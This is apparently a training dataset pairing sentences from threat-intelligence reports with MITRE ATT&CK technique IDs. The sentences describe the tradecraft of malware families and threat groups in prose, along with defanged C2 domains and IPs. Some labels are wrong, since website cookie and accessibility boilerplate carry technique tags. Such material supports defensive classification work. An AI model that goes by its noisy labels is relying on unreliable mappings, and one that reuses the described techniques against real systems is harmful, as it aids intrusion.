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+The command processing function starts by substituting the main module name and path in the hosting process PEB, with the one of the default internet browser. The path of the main browser of the workstation is obtained by reading the registry value	['T1057']
+Along the way, HermeticWiper’s more mundane operations provide us with further IOCs to monitor for. These include the momentary creation of the abused driver as well as a system service. It also modifies several registry keys, including setting the SYSTEM\CurrentControlSet\Control\CrashControl CrashDumpEnabled key to 0, effectively disabling crash dumps before the abused driver’s execution starts	['T1569.002']
+These Microsoft Office templates are hosted on a command and control server and the downloaded link is embedded in the first stage malicious document	['T1584.004']
+Additionally, the IP 211[.]72 [.]242[.]120 is one of the hosts for the domain microsoftmse[.]com, which has been used by several KIVARS variants	['T1056.001', 'T1113']
+"When communicating with its C2 server, Psylo will use HTTPS with a unique user-agent of (notice the lack of a space between ""5.0"" and ""(Windows"	['T1071.001']
+In older versions, Valak downloads the second stage JS and uses only one obfuscation technique: Base64. The newer versions use XOR in addition to Base64	['T1027']
+We attribute this activity to TEMP.Zagros (reported by Palo Alto Networks and Trend Micro as MuddyWater), an Iran-nexus actor that has been active since at least May 2017. This actor has engaged in prolific spear phishing of government and defense entities in Central and Southwest Asia. When successfully executed, the malicious documents install a backdoor we track as POWERSTATS	['T1218.005', 'T1059.005']
+dlpumgr32.exe, a legitimate signed file that belongs to the DESlock+ product - DLPPREM32.DLL, a malicious DLL sideloaded by dlpumgr32.exe that loads and decodes DLPPREM32.bin - DLPPREM32.bin, a shellcode that decompresses and loads a launcher in memory - data.res, an encrypted file decoded by the launcher and contains two SysUpdate versions: one for a 32-bit architecture and another for a 64-bit architecture - config.res, an encrypted file decoded by the launcher and contains the SysUpdate configuration, such as the command-and-control (C&C) address	['T1027', 'T1082']
+The malware has specific features that allow the attackers to perform operations related to online banking transactions, password stealing and clipboard monitoring. We also found various versions of the payload: the version focused on stealing data from victims in Brazil is typically unpacked, while the versions targeting banks in Chile and Mexico are packed with VMProtect or Themida	['T1027.002']
+The size of the image is more than 600KB and embedded in it is the encrypted IcedID main module. The encryption algorithm is RC4 and the keys are also embedded in the image at specific offset	['T1027.003']
+It is worth noting that in 2019, this actor used a fake file extension (*.png) for the MSI binary hosted on the attacker-controlled GitHub account	['T1583.006']
+These variants include system information collection (operating system, computer name), keylogger output, and browser password collection from Internet Explorer, Chrome and Firefox	['T1082']
+While Kimsuky is very active, the KONNI RAT has also been upgraded to a more evasive piece of malware	['T1027.002']
+But first: How did they get the tools on the victim’s systems. The adversary copied those tools over SMB from compromised system to compromised system wherever they needed these tools	['T1570']
+This will also force the victim to re-open the browser using the newly written .lnk file, which is now loaded with Grandoreiro’s malicious extension. This extension will load on every browser startup using this specific .lnk file	['T1547.001', 'T1036.005']
+Endpoint Protection . The Trojan.Hydraq Incident . It has been about a week since news of the mysterious Hydraq Trojan (also known as Aurora) attack broke with the unveiling of a threat by Google to pull its operations out of China. Although concrete details of the attacks are not yet public, Google made reference to a number of Gmail accounts that were compromised during or after the attacks. Anatomy of the Attack For a number of years targeted attacks have nearly always followed the same modus operandi. In the more sophisticated attacks, the attacker will use a new zero day vulnerability, as obviously this will have a greater success rate. In this attack a PDF file was used to exploit the Adobe Acrobat, Reader, and Flash Player Remote Code Execution Vulnerability (CVE-2009-1862/BID35759). This PDF installed a Trojan horse which was an earlier version of the current Trojan.Hydraq. This means the remote attacker has the ability to see in real time any user interface activity as if they were sitting right next to the user. As described in the previously posted blog (Hydraq - An Attack of Mythical Proportions), an unpatched Internet Explorer vulnerability (BID 37815) was used as one of the propagation vectors for this particular Trojan.Hydraq attack. This security hole allows remote exploitation, which means that attackers can run any malicious code of their liking on a victim’s machine by taking advantage of the vulnerability. The number of computers we have observed being attacked or have been attacked is low as borne out by our field detection statistics. Prevention & Mitigation Trojan.Hydraq has been known to be spread through specially crafted PDF files and also through malicious Web sites	['T1005']
+dbghelp.dll is incompatible with DEP (Data Exception Prevention), as shown in Figure 14. Thus, when it loads the operating system will disable DEP for the injected wmplayer.exe process. This means that code can be executed from memory regions that are not marked as executable in the context of this process	['T1562.001']
+"For each enumeration, it performs a breadth-first search to wipe the files in the logical drive while ignoring files located in the ""%HOMEDRIVE%\Windows"" directory. It also only wipes files that have specific file extensions"	['T1083']
+It is distributed as a set of scripts and encrypted files and utilizes a PowerShell loader based on the Invoke-ReflectivePEInjection PowerSploit module to decode and inject the final payload DLL into memory	['T1055.001', 'T1055.001', 'T1027']
+Registry traversal for Putty data exfiltration (left), code showing hostname, username and Private Key Files (right	['T1552.002']
+While PotPlayerDB.dat is a variant of PlugX malware, TA416 has updated the payload by changing both its encoding method and expanding the payload’s configuration capabilities. Historically, TA416 relied on the DLL launcher to decode the PlugX payload utilizing an XOR key included at the offset 0 within the PlugX DAT configuration file. One of the main ways it does this is by resolving API functions during runtime. This iteration of PlugX does standard API hashing, but only to resolve the address of the functions GetProcAddress as well as LoadLibrary. Once those functions are resolved properly, it loads the rest of the functions via their text name	['T1106']
+After Tor is up and running, Siloscape uses it to connect to its C2 – an IRC server, using an onion address that was provided as a command line argument	['T1071']
+One interesting thing to note is that the Keybase account used by the attacker to chat with their victims has the same logo of the Pay2Key EOSIO smart contract system	['T1585']
+It should be noted that the Win32/KillDisk.NBB variant used against media companies is more focused on destroying various types of files and documents. It has a long list of file extensions that it tries to overwrite and delete. The complete list contains more than 4000 file extensions	['T1485']
+The LNK file contains a list of commands that will be executed upon running, and a blob that is a base64 encoded compressed payload	['T1027']
+Fourth, this Darkhotel event is not based on the network protocol C2, but based on a custom file transfer control instruction	['T1135']
+When PowerShell is invoked whether via WMI, wscript.exe, or mshta.exe, it executes a one-liner PowerShell code (as outlined above) that reads the encoded text file dropped in ProgramData and then decodes it. The resulting code has multiple layers of obfuscation	['T1047', 'T1218.005', 'T1559.001', 'T1027']
+The threat used valid accounts against remote services: Cloud-based applications utilizing federated authentication protocols. Our incident responders analysed the credentials used by the adversary and the traces of the intrusion in log files. They uncovered an obvious overlap in the credentials used by this threat and the presence of those same accounts in previously breached databases. Besides that, the traces in log files showed more than usual login attempts with a username formatted as email address, e.g. username>@<email domain>. While usernames for legitimate logins at the victim’s network were generally formatted like <domain>\<username>. And attempted logins came from a relative small set of IP-addresses	['T1016', 'T1133']
+CookieMiner reports all the wallet-related file paths to its remote server so it can later upload the files according to the C2 commands. These files usually include private keys of cryptocurrency wallets. If the victims use iTunes to backup files from iPhone to Mac (can be via Wi-Fi), their iPhone text messages (SMSFILE) will also be retrieved by the attackers (Figure 5	['T1083']
+The JavaScript component is the first stage of the attack and can deploy other malware such as a C# spy component, Golden Chickens components or several Python-based tools. The name Evilnum was given to the C# component by other researchers in the past, but the JS component also has been referred to as Evilnum. We have named the group Evilnum as that is the name of their flagship malware, and we’ll refer to the various malware pieces as components	['T1105']
+But Ryuk isn’t new to us… we’ve been tracking it for years. More important than just looking at Ryuk ransomware itself, though, is looking at the operators behind it and their tactics, techniques, and procedures (TTPs)—especially those used before they encrypt any data. The operators of Ryuk ransomware are known by different names in the community, including “WIZARD SPIDER,” “UNC1878,” and “Team9. The malware they use has included TrickBot, Anchor, Bazar, Ryuk, and others	['T1047', 'T1018']
+The plugin is executed by using the Info command in the Lizar client application. A data structure containing the OS version, user name and computer name is sent to the server	['T1082']
+Observed GoldMax C2 domains are high-reputation and high-prevalence, often acquired from domain resellers so that Whois records retain the creation date from their previous registration, or domains that may have been compromised. This tactic complements NOBELIUM’s operational security strategy as these domains are more likely to be overlooked by security products and analysts based on their perceived long-lived domain ownership. Put simply, several domains we have shared as GoldMax C2 domains are only associated with NOBELIUM after the time they were re-sold or compromised – and Microsoft has provided that indicator context where it is available to us	['T1584.001']
+The malware proceeds to blacklist certain processes such as “wininit.exe” when approaches memory scraping in order to speed necessary card scan logic	['T1057']
+We were able to collect over fifty samples of the tools used by the Magic Hound campaign using the AutoFocus threat intelligence tool. The earliest malware sample we were able to collect had a compile timestamp in May 2016. The samples themselves ranged from IRC bots, an open source Python remote access tool, malicious macros, and others	['T1083']
+"From the attacks observed by Volexity, what is most notable is that Patchwork has pivoted its targeting and has launched attacks directly against US-based think tanks. Volexity has also found that, in addition to sending malware lures, the Patchwork threat actors are leveraging unique tracking links in their e-mails for the purpose of identifying which recipients opened their e-mail messages. Strangely, in one case, the threat actors also appear to have used a domain name similar to the Foreign Policy Research Institute (FPRI) in a message purporting to be from CFR. If the exploit is successful, the threat actors will attempt to drop and execute QuasarRAT. Its called the ""packager trick"" because any file embedded in an RTF file using packager will be automatically dropped to the %tmp% folder (c:\Users\%username%\AppData\Local\Temp) when the RTF document is opened. Second, the threat actors exploit CVE-2017-8570 to achieve code execution via a malicious ""scriptlet"" file, or .sct file, which is also embedded in the malicious RTF document. The contents of the malicious scriptlet file (displayed below) clearly show the threat actor executing the initial ""qrat.exe"" dropper from the current user's %tmp% directory. The file, named Microsoft.Win32.TaskScheduler.dll, is digitally signed by a certificate from AirVPN. Conclusion . The addition of US-based think tanks to the list of organizations in the crosshairs of Patchwork shows an increasing diversity in the geographic regions being targeted. Volexity is actively tracking this group and the infrastructure currently in use for the benefit of its network security monitoring and threat intelligence customers"	['T1189']
+Apply the Microsoft security updates for MS17-010, including the updates for the Windows XP and Windows Server 2003 legacy operating systems. Disable SMBv1 on systems where it is not necessary (e.g. hosts that do not need to communicate with Windows XP and Windows 2000 systems). Carefully evaluate the need for allowing SMBv1-capable systems on interconnected networks compared to the associated risks. Scan networks for the presence of the DoublePulsar backdoor using plugins for tools such as Nmap. Use network auditing tools to scan networks for hosts that are vulnerable to the vulnerabilities described in MS17-010. Implement a backup strategy that includes storing data using offline backup media. Backups to locally connected, network-attached, or cloud-based storage are often insufficient because ransomware frequently accesses and encrypts files stored on these systems	['T1490']
+SUPERNOVA is implemented as a modification to the existing ‘app_web_logoimagehandler.ashx.b6031896.dll’ module of the SolarWinds Orion application. The purpose of this module, in it’s legitimate form, is to return the logo image configured by the user to various web pages of the SolarWinds Orion web application. In legitimate operation, this class only contains the ProcessRequest() and LogoImageHandler() methods, a private static Log object, and public boolean parameter IsReusable	['T1036.005']
+AgentTesla is a .Net-based infostealer that has the capability to steal data from different applications on victim machines, such as browsers, FTP clients, and file downloaders. One of the new modules that has been added to this malware is the capability to steal WiFi profiles	['T1555']
+TA551 has distributed different families of malware, including Ursnif (Gozi/ISFB), Valak and IcedID. TA551 malspam spoofs legitimate email chains based on data retrieved from previously infected Windows hosts. This is a generic statement asking the recipient to open an attached ZIP archive using the supplied password. For example, if the spoofed sender is someone@companyname.com, the ZIP attachment would be named companyname.zip. In 2020, we also started seeing emails with info.zip or request.zip as the attached ZIP archive names. These password-protected ZIP attachments contain a Word document with macros to install malware. File names for the extracted Word documents follow noticeable patterns that have evolved as this campaign has progressed. URLs generated by the associated Word macros also follow noticeable patterns that have also evolved as this campaign has progressed	['T1204.002']
+The plugins are variously designed to load other tools like Mimikatz or Carbanak, retrieve information from the victim machine, take screenshots, harvest credentials, retrieve browser histories, and more	['T1217']
+During our analysis, we successfully extracted the command line argument to execute its payload. The following command is used to execute the payload	['T1574.002']
+When receiving HTTP commands, the WellMess server is setup to receive POST requests that contain RC6 encrypted cookies. The server decrypts the cookies using a hardcoded RC6 key and expects the decrypted data to contain no more than four tags	['T1140', 'T1573.001']
+Despite the notion that modern cybersecurity protocols have stopped email-based attacks, email continues to be one of the primary attack vectors for malicious actors — both for widespread and targeted operations. Recently, Cisco Talos has observed numerous email-based attacks that are spreading malware to users at both a large and small scale. In this blog post, we analyze several of those campaigns and their tactics, techniques and procedures (TTPs). These campaigns were all observed between mid-May and early July of this year, and can likely be attributed to one, or possibly two, groups. The attacks have become more sophisticated, and have evolved to evade detection on a continual basis. Other researchers have attributed these attacks to a group known as the Cobalt Gang, which has continued its activities even after the arrest of its alleged leader in Spain this year. Simple campaigns typically use a single technique and often embed the final executable payload into the exploit document. The emails either contain a URL pointing to one of the three document types or have initial attack stages attached outright	['T1059.007']
+"After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer files, execute files, profile the system, reboot the machine, and disable system services. The backdoor uses multiple obfuscated blocklists to identify forensic and anti-virus tools running as processes, services, and drivers. TEARDROP and BEACON Malware Used . Multiple SUNBURST samples have been recovered, delivering different payloads. Next it checks that HKU\SOFTWARE\Microsoft\CTF exists, decodes an embedded payload using a custom rolling XOR algorithm and manually loads into memory an embedded payload using a custom PE-like file format. The credentials used for lateral movement were always different from those used for remote access. Detection Opportunity . Organizations can use HX’s LogonTracker module to graph all logon activity and analyze systems displaying a one-to-many relationship between source systems and accounts. After an initial dormant period of up to two weeks, it retrieves and executes commands, called “Jobs”, that include the ability to transfer and execute files, profile the system, and disable system services. The userID is encoded via a custom XOR scheme after the MD5 is calculated. Commands are extracted from HTTP response bodies by searching for HEX strings using the following regular expression: ""\{[0-9a-f-]{36}\}""||""[0-9a-f]{32}""||""[0-9a-f]{16}"". Command data is spread across multiple strings that are disguised as GUID and HEX strings. The extracted message is single-byte XOR decoded using the first byte of the message, and this is then DEFLATE decompressed"	['T1027']
+IcedID uses TLS in all of its communication but the certificate is self-signed. They can be spotted, as they use this kind of a self-signed certificate. The keyword “Internet Widgits Pty Ltd” is also being used by Trickbot, another banking malware, and it is believed that Trickbot and IcedID are cousins	['T1573.002', 'T1185']
+In December 2019, another version of the AppleJeus malware was identified on Twitter by a cybersecurity company based on many similarities to the original AppleJeus malware. In contrast, open-source reporting stated that the Windows version might have been downloaded via instant messaging service Telegram, as it was found in a “Telegram Downloads” folder on an unnamed victim	['T1566.002']
+PowerSploit can be used as a tool for the discovery of stored credentials. Specifically it supports the following modules which will check for credentials encrypted or plain-text in various files and in the registry	['T1552.002']
+MegaCortex v1 was executed manually by threat actors using a separate batch file to kill security processes and stop/disable services related to security, backup and shadow copies. That same batch file was subsequently used to execute the MegaCortex binary with a Base64 key as a command-line argument	['T1489', 'T1562.001']
+Capable of stealing documents sent to the printer queue. Data gathered for victim recon includes the backup list for Apple mobile devices. Steals written CD images. Capable of stealing files previously seen on removable drives once they are available again. Steals Internet Explorer, Netscape Navigator, FireFox and RealNetworks cookies	['T1005']
+First observed by Microsoft on Jan. 13, 2022, WhisperGate malware is computer network attack (CNA) malware aimed at deleting Microsoft Windows Defender and corrupting files on the target. It consists of two samples: One appears as ransomware while the other is a beaconing implant used to deliver an in-memory Microsoft Intermediate Language (MSIL) payload. At the time of writing, there are two known samples identified as WhisperGate: Stage1.exe and Stage2.exe. Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note	['T1561.002']
+The second family of Lazarus malware appearing in recent months has, as far as we are aware, received little to no analysis from researchers, possibly due to its targeted nature and a lack of ITW sightings	['T1105']
+These cookies are necessary for the website to function and cannot be switched off in our systems. They are usually only set in response to actions made by you which amount to a request for services, such as setting your privacy preferences, logging in or filling in forms. You can set your browser to block or alert you about these cookies, but some parts of the site will not then work. These cookies do not store any personally identifiable information	['T1082']
+Of the tools listed above, many were obfuscated with VMProtect (v1.60-2.05), a recurring theme with BackdoorDiplomacy tools	['T1027']
+An uptick in activity from GRIM SPIDER, a subgroup of the criminal enterprise CrowdStrike Intelligence tracks as WIZARD SPIDER, has led to the identification of consistent actions employed to carry out their attacks. As part of their initial compromise — usually as a download from a spam email — they gain a foothold with their modular TrickBot malware, which was developed and is principally operated by WIZARD SPIDER. Once TrickBot is executed, new enumeration modules are downloaded onto the compromised machine to facilitate WIZARD SPIDER’s spread in search of credentials with the aim of gaining access to the domain controller. The criminal actors use RDP to perform lateral movement and explore the victim environment, with an end result of gaining access to the domain controller. Once this access has been achieved, GRIM SPIDER is able to deploy the Ryuk ransomware to the entire network	['T1071.001', 'T1021.001', 'T1204.002', 'T1041']
+Unlike recent variants of Mirai and Gafgyt that target vulnerable Linux systems via randomly generated IP addresses, Xbash also scans and trawls through domain names. The C&C scans for specific destinations’ known vulnerabilities in Hadoop, Redis and ActiveMQ (CVE-2016-3088) for self-propagation. Hadoop’s unauthenticated command execution flaw discovered in October 2016, as well as the Redis arbitrary and remote command execution vulnerability disclosed in October 2015, have yet to be assigned CVE numbers. Based on the active C&C traffic, it scans and probes for open TCP or UDP ports such as HTTP, VNC, MySQL/MariaDB, Telnet, FTP, MongoDB, RDP, ElasticSearch, Oracle Database, CouchDB, Rlogin and PostgreSQL. While the malware uses a weak username and password dictionary to brute force itself into the service, it is also able to update its set from the C&C server, delete all the databases, and display the ransom message	['T1203']
+As can be seen in the figure above, the packer used for CVE-2019-0803 is very similar to the one used in CVE-2017-0005. The file was compiled on September 18, 2018, and is also internally named “Add.dll”. Like the previously packed exploit, CVE-2019-0803 also has an export function named “AddByGod” and contains debug information	['T1027.002']
+Although, the use of target names with actuating themes is not new to this group, there has been a significant uptick in the number of emails received and this campaign has been persistently active for the past few weeks	['T1566.002']
+This function is the supporting functionality for WinVNC. To allow the VNC session to connect, the current network socket WSAProtcol_Info structure is written to a named pipe prior to calling zxFunction001	['T1021.005']
+We also analyzed further Gamaredon tools that have the ability to inject malicious macros and remote templates into existing Office documents. Tools linked to Gamaredon and discussed in this blogpost are detected as variants of MSIL/Pterodo, Win32/Pterodo or Win64/Pterodo by ESET’s products. Contrary to other APT groups, the Gamaredon group seems to make no effort in trying to stay under the radar. It also saves to disk the malicious OTM file (Outlook VBA project) that contains a macro, the malicious email attachment and, in some cases, a list of recipients that the emails should be sent to. Office macro injection module – CodeBuilder . We analyzed different variants of malicious modules used by the Gamaredon group to inject malicious macros or remote templates into documents already present on the compromised system. Module updates . Interestingly, some of the custom tools described in Palo Alto Networks’ 2017 blogpost on Gamaredon are still being updated and in use today. C# compiler module . This .NET executable, similar to many other tools used by the Gamaredon group, uses obfuscation techniques such as junk code insertion and string obfuscation. As with many other tools used by the Gamaredon group, they come in four different coding languages: C/C++, C#, batch file and VBScript. Quality of execution . We were able to collect numerous different samples of malicious scripts, executables and documents used by the Gamaredon group throughout their campaigns. Conclusion . Despite the simplicity of most of their tools, the Gamaredon group also is capable of deploying some novelty, such as their Outlook VBA module	['T1547.001']
+b.wnry — Bitmap image used as desktop wallpaper (shown in Figure 2) - c.wnry — Configuration containing Tor command and control (C2) addresses, Bitcoin addresses, and other data - r.wnry — Ransom demand text - s.wnry — ZIP archive containing Tor software to be installed on the victim’s system; saved in TaskData directory - t.wnry — Encrypted DLL containing file-encryption functionality - u.wnry — Main module of the WCry ransomware “decryptor” - taskdl.exe — WNCRYT temporary file cleanup program - taskse.exe — Program that displays decryptor window to RDP sessions - msg — Directory containing Rich Text Format (RTF) ransom demands in multiple languages	['T1090.003']
+CISA also observed the threat actor using open-source tools such as Plink and TightVNC for lateral movement. CISA observed the threat actor using the techniques identified in table 8 for lateral movement within the victim environment	['T1090', 'T1021.004', 'T1572']
+In this campaign, the group sent spear phishing emails containing malicious documents that led to the installation of the UPPERCUT backdoor. Part of this blog post will discuss the updates and differences we have observed across multiple versions of this backdoor	['T1204.002']
+After the ransomware is executed, Clop appends the .clop extension to the victim's files. We have observed different variants using different extensions, such as “.CIIp”, “.Cllp” and “.C_L_O_P”. Different versions of the ransom note have also been observed after encryption. Depending on the variant, any of these ransom text files could drop: “ClopReadMe.txt”, “README_README.txt”, “Cl0pReadMe.txt“ and “READ_ME_!!!.TXT	['T1486']
+H1N1 has self-propagation/lateral movement functionality (which requires user interaction) via mapped/available network shares or mounted USB devices	['T1080']
+Another component of the KGH suite is the m.dll module, which is an information stealer that harvest data from browsers, Windows Credential Manager, WINSCP and mail clients	['T1114.001']
+Before the driver is loaded, the malware disables crash dump by setting the following registry key	['T1070', 'T1562.006', 'T1112']
+Conclusion Tick has left a trail of evidence indicating that its activity began as early as 2006. In earlier attacks, the group used malicious Microsoft Word documents to infect victims, with compromised websites being added to the mix as a more recent attack vector	['T1204.002']
+Gathering system information and sending it to the control server. The system information gathered from the endpoint includes: MAC address of the endpoint Computer Name Product name from HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName This information is concatenated into a single string in the format: “MAC_Address||ComputerName||ProductName” and is sent to the control server - MAC address of the endpoint - Computer Name - Product name from HKLM\Software\Microsoft\Windows NT\CurrentVersion ProductName - This information is concatenated into a single string in the format: “MAC_Address||ComputerName||ProductName” and is sent to the control server - Recording HTTP requests from the control server to the temporary file prx in the implant’s install directory with the current system timestamp	['T1012']
+Credential hopping for obscuring lateral movement - Office 365 (O365) Service Principal and Application hijacking, impersonation and manipulation - Stealing browser cookies for bypassing multifactor authentication - Use of the TrailBlazer implant and the Linux variant of GoldMax malware - Credential theft using Get-ADReplAccount	['T1078.002', 'T1550.001']
+In the analyzed sample the RAT component was named “BotDLL[.]dll”. It has some typical RAT functionality such as command shell, video recording of the screen, remote desktop, port forwarding, and file system access	['T1125', 'T1090', 'T1005']
+This final cluster appears to serve as the C2 infrastructure for a custom remote administration tool called Pteranodon. It is capable of downloading and executing files, capturing screenshots and executing arbitrary commands on compromised systems	['T1113']
+Introduced in macOS 10.11, this utility has only one publicly documented use, which is to return the status of the System Integrity Protection tool. The csrutil tool is commonly used by malware and post-exploitation tools to determine whether certain files and directories on the system are writable or not	['T1082']
+Shortly after this RTF document is opened, the remaining stages of the Inception malware are found executing on the system. The loader DLL is responsible for decrypting and injecting the core payload DLL into memory, from an encrypted file present on disk. The core payload DLL's main function is to gather system information, execute other malware in the form of plugins, and update itself	['T1204.002']
+The NOKKI malware itself has been updated in the short period of time it has been observed, moving from FTP to HTTP for C2 operations. The malware is modular in nature, and based on analysis of the information gathering module, it is highly likely the NOKKI operators are the same as the KONNI operators	['T1071.001', 'T1071.002']
+The network mode being set to the host along with the container trying to be deployed as a privileged container. The Docker Hub account of MegawebMaster has numerous public images, five of which have TeamTNT utilities with a significant amount of downloads. These five images include dockgeddon, docker, tornadopw, and dcounter (T1204.003	['T1496']
+TeamTNT has also been spotted using a malicious Docker image which can be found on Docker Hub to infect its victims’ servers	['T1610', 'T1071.001']
+Even simple API calls were obfuscated, and instead of just calling the functions, Siloscape made the effort to use the Native API (NTAPI) version of the same function	['T1106', 'T1027']
+The DLL expects the export named 'Add' to be used when initially loaded. When this function is executed PLAINTEE executes the following command in a new process to add persistence	['T1059.003', 'T1547.001']
+In this version, the communication protocol with the C&C server was also upgraded to use AES encryption	['T1573.001']
+The domain name is generated based on the current month and year values, e.g. for August 2017 the domain name used would be “nylalobghyhirgh.com	['T1568.002']
+HAYMAKER is a backdoor that can download and execute additional payloads in the form of modules. It communicates encoded system information to a single hard coded command and control (C2) server, using the system’s default User-Agent string. BUGJUICE is a backdoor that is executed by launching a benign file and then hijacking the search order to load a malicious dll into it. It has the capability to find files, enumerate drives, exfiltrate data, take screenshots and provide a reverse shell. SNUGRIDE is a backdoor that communicates with its C2 server through HTTP requests. The malware’s capabilities include taking a system survey, access to the filesystem, executing commands and a reverse shell	['T1059.003']
+The attackers then attempt to gain root access to the server by setting up a local privileged user named ‘hilde’ on the host server and use it in order to connect back via SSH	['T1021.004']
+The Russia-linked Shuckworm group (aka Gamaredon, Armageddon) is continuing to conduct cyber-espionage attacks against targets in Ukraine. Over the course of recent months, Symantec’s Threat Hunter Team, a part of Broadcom Software, has found evidence of attempted attacks against a number of organizations in the country	['T1057', 'T1204.002']
+After the malware has invoked a method named _s_is_high_time and waited on several timers to expire, it begins encrypting the (unfortunate) user’s files, by invoking a function named carve_target. It then generates a list of files to encrypt, by invoking the get_targets function, passing in the is_file_target as a filter function. This filter function filters out all files, except those that match certain file extensions. The encrypted list of extensions is hard-coded at address 000000010001299E within the malware. In part one of this blog post series, we decrypted all the embedded string, thus can readily examine the decrypted list	['T1486']
+Timeline . OSX/FruitFly: 1) 2) Remove the malicious launch agent plist file ~/Library/LaunchAgents/com.client.client.plist 3) Remove the malware's persistent perl script & file. Ok, so the attackers are using an open-source multi-stage post-exploitation agent. Unfortunately this file is now inaccessible. The author of the thread announced a RAT dubbed Proton, intended for installation exclusively on MAC OS devices. Finally, the malware modifies the infected host's network settings in order to set up a proxy who's address is (dynamically) specified via a remote proxy auto-configuration (PAC) file. As it's a binary plist file, dump its contents with the plutil utility (using the -p commandline flag): . As the KeepAlive key has been set to 1 (true), the Launch Daemon will be automatically started everytime the infected system is rebooted. MacRansom is the the first 'Ransomware-as-a-Service' for macOS, that aims to encrypt (ransom) all user's files. Then these files will be passed (to a new instance) of the malware, in order to be encrypted. Thus it appears that once encrypted, the files are pretty much gone for good (save for a perhaps a brute force decryption attack). Good news, RansomWhere. Using the neat 'Suspicious Package' application, we can statically examine this script: In short, it persists CPUMeaner as a launch agent via the /Library/LaunchAgents/com.osxext.cpucooler.plist file	['T1140']
+Various scans and queries are used to find proxy settings, domain controllers, remote desktop services, Citrix services, and network shares. Otherwise, a jump host or other system likely used by domain admins is found and equipped with a Cobalt Strike beacon	['T1012']
+This attack begins with a spear phishing attack through a targeted email campaign. Over 80 files were sent to 40 email accounts within the organization, within the span of about an hour. The email contains Microsoft Excel attachments with malicious macros	['T1566.001']
+The original Microsoft Excel spreadsheet is copied into the %TEMP% directory - The embedded object “xl\embeddings\oleObject1[.]bin” inside the Microsoft Excel spreadsheet is copied into the %TEMP% directory - The DLL inside oleObject1.bin is extracted and copied into %APPDATA% by the “ReadAndWriteExtractedBinFile” function - The DLL is loaded with LoadLibraryA - The DLL’s exported function, such as “Get2”, is run by the macro	['T1055.001']
+Please note that the Ecipekac Layer III loader module is embedded in the encrypted Layer II loader	['T1027']
+This feature generates a stageless Beacon payload artifact, hosts it on Cobalt Strike’s web server, and presents a one-liner to download and run the artifact	['T1197']
+The NetWire payloads in all observed campaigns included nearly identical configurations. Specifically, the C2 domain clients[.]enigmasolutions[.]xyz and the password were the same	['T1105']
+Upon exploitation, a GH0ST RAT variant is delivered to the victims’ system, which calls out to a previously known APT18 CnC address 223.25.233.248. GH0ST RAT is a backdoor derived from public source code	['T1070.001', 'T1059']
+If the attack progresses, the user will be taken to the download of an MS Word document containing malicious macros that has very low detection rate at the moment of this campaign delivery. From a metadata standpoint, the document does not include any specific signal or characteristic that would help us tracking documents from the same author, as shown in Figure 6	['T1566.001', 'T1059.005']
+Each Casbaneiro sample using this method has the buyer’s ID hardcoded in its data. When it downloads such configuration file, it parses it and finds the line that is intended for the specific buyer’s ID and downloads and executes the payload	['T1547.001', 'T1036.005', 'T1105']
+However, while the malware used in these new attacks uses similar infection mechanisms to PlugX, it is a completely new tool with its own specific behavior patterns and architecture. We have named this tool “BBSRAT. Targeting and Infrastructure . As described in earlier reports on “Roaming Tiger”, the attack observed in August 2015 used weaponized exploit documents that leave Russian language decoy document files after infecting the system. Figure 2 confirms that the decoy document that opens after the malware infects the system is indeed a list of international exhibitions that were conducted on Russian territory in 2015. Analysis of the command and control (C2) infrastructure shows that the newly discovered samples of BBSRAT used the same C2 domains as previously published in the “Roaming Tiger” campaign, including transactiona[.]com and futuresgold[.]com. This may indicate that for the newer attack campaign using BBSRAT, the adversary may have deployed purpose-built variants and/or infrastructure for each of the intended targets. As we can see, the second command is specifically crafted to run on 64-bit versions of Microsoft Windows. Every subsequent request made by BBSRAT increments this counter by one. The following commands and sub-commands have been identified: Please refer to the appendix for a full list of identified BBSRAT samples and their associated C2 servers. Despite the fact that the information about these attackers has been public for over a year, including a listing of many of the command and control servers, they continue to reuse much of their exposed playbook	['T1546.015']
+This DLL has no other noticeable characteristics, as it functions like a typical malicious sideload. After loading the encrypted payload in memory, it transfers the execution to a shellcode that is located at the beginning of the file. Once loaded in memory, the ZeroT shellcode does not present any kind of obfuscation, unlike that for PlugX. This shellcode is charged with unpacking the encrypted and compressed payload. As in the new PlugX dropper detailed below, this is done using RC4 and RtlDecompressBuffer. As in PlugX samples, the PE header of ZeroT has been tampered with, specifically the “MZ” and “PE” constants (Fig	['T1573.001']
+All trusted domains, domains, and domain controllers - A list of computers and network devices on the network - The infected machine user and groups the user belongs to - The infected machine, including machine name, operating system, workstation domain, and more information - Network adapters that have connected to the machine and DNS servers	['T1069', 'T1033', 'T1016']
+So this method uses psexec itself to copy the payload over the network, overwrite earlier versions (if found), and run it without waiting for any response	['T1570']
+Sleeps the downloader. After that, it downloads a file from Discord. The downloaded file is in reverse byte order. Downloads file from Discord. The downloader restores the downloaded file by reversing the bytes within the file. Method that reverses the downloaded file. The restored file is a DLL and serves as the third stage of the infection chain. Retrieving third-stage public methods using Type.GetMethods	['T1105', 'T1027']
+The link “Check” led to a Google Docs page, which contained a link that redirected to a ZIP file. The ZIP file was hosted on a likely compromised SharePoint account and contained Domenus VBS, which downloads Harpy from https[:]//fashionableeder[.]com/info. At one victim, CARBON SPIDER subsequently deployed the aforementioned custom PS Sekur stager and profiled the Active Directory environment using the utility ADFind	['T1204.001']
+1) Cannon gathers system information and saves it to a file named ini. The Trojan sends an email to sahro.bella7[at]post.cz with i.ini as the attachment, S_inf within the body and a subject with a unique system identifier via SMTPS from one of the following accounts: Bishtr.cam47 Lobrek.chizh Cervot.woprov 2) Bishtr.cam47 3) Lobrek.chizh 4) Cervot.woprov	['T1082']
+Additionally, the website utilizes an AI-based application that runs in the background and optimizes its accessibility level constantly. This application remediates the website’s HTML, adapts its functionality and behavior for screen-readers used by blind users, and for keyboard functions used by individuals with motor impairments	['T1095']
+ESTSecurity inspected a malicious lure document discussing North Korean defectors. This lure document contained a UPX packed binary that reached out to wave[.]posadadesantiago[.]com. Based upon their report we believe SHA256: 252d1b7a379f97fddd691880c1cf93eaeb2a5e5572e92a25240b75953c88736c, either is or is strikingly similar to the document discussed in their blog post based on these similarities	['T1566.001']
